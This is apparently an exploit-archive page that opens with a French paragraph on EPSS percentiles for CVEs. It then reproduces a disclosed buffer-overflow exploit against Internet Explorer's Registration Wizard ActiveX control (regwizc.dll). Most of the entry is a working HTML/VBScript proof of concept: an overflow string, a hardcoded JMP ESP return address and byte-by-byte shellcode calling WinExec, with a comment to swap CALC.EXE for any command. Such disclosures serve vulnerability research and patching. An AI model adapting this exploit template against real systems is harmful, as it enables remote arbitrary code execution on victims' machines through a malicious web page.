Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Microsoft Internet Explorer 4.1/5.0 for Windows 95/Windows NT 4,Windows 98 Registration Wizard Buffer Overflow Vulnerability source: https://www.securityfocus.com/bid/671/info There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner. REGWIZC The Registration Wizard control used by Microsoft to register MS products also contains a buffer overrun in the 'InvokeRegWizard' method. When called with a long string, pre-pended with '/i', we can gain control of the RET address and exploit the control in a similar manner as the PDF control. This exploit will cause a 'Regwiz.log' file to be created in the temporary directory, and once again will execute CALC.EXE and terminate the host. <object classid="clsid:50E5E3D1-C07E-11D0-B9FD- 00A0249F6B00" id="RegWizObj"> </object> <script language="VbScript" ><!-- msgbox("Registration Wizard Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr = "/i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 'We overflowed to the RET point of the stack 'No NULL's allowed so ret to <JMP ESP> in Shell32 expstr = expstr & Chr(235) 'Address in SHELL32, Win98 (7FD035EB) of JMP ESP expstr = expstr & Chr(53) 'You may need to use a different address expstr = expstr & Chr(208) expstr = expstr & Chr(127) 'NOP for debugging purposes expstr = expstr + Chr(144) 'MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) 'ADD EDI, 19 (Size of code) expstr = expstr + Chr(131) + Chr(199) + Chr(25) 'PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) 'PUSH EDI (Address of command line) expstr = expstr + Chr(87) 'MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) 'PUSH EAX expstr = expstr + Chr(80) 'MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'Replace with any command + 0 (automatically appended) expstr = expstr + "CALC.EXE" RegWizObj.InvokeRegWizard(expstr) --></script>
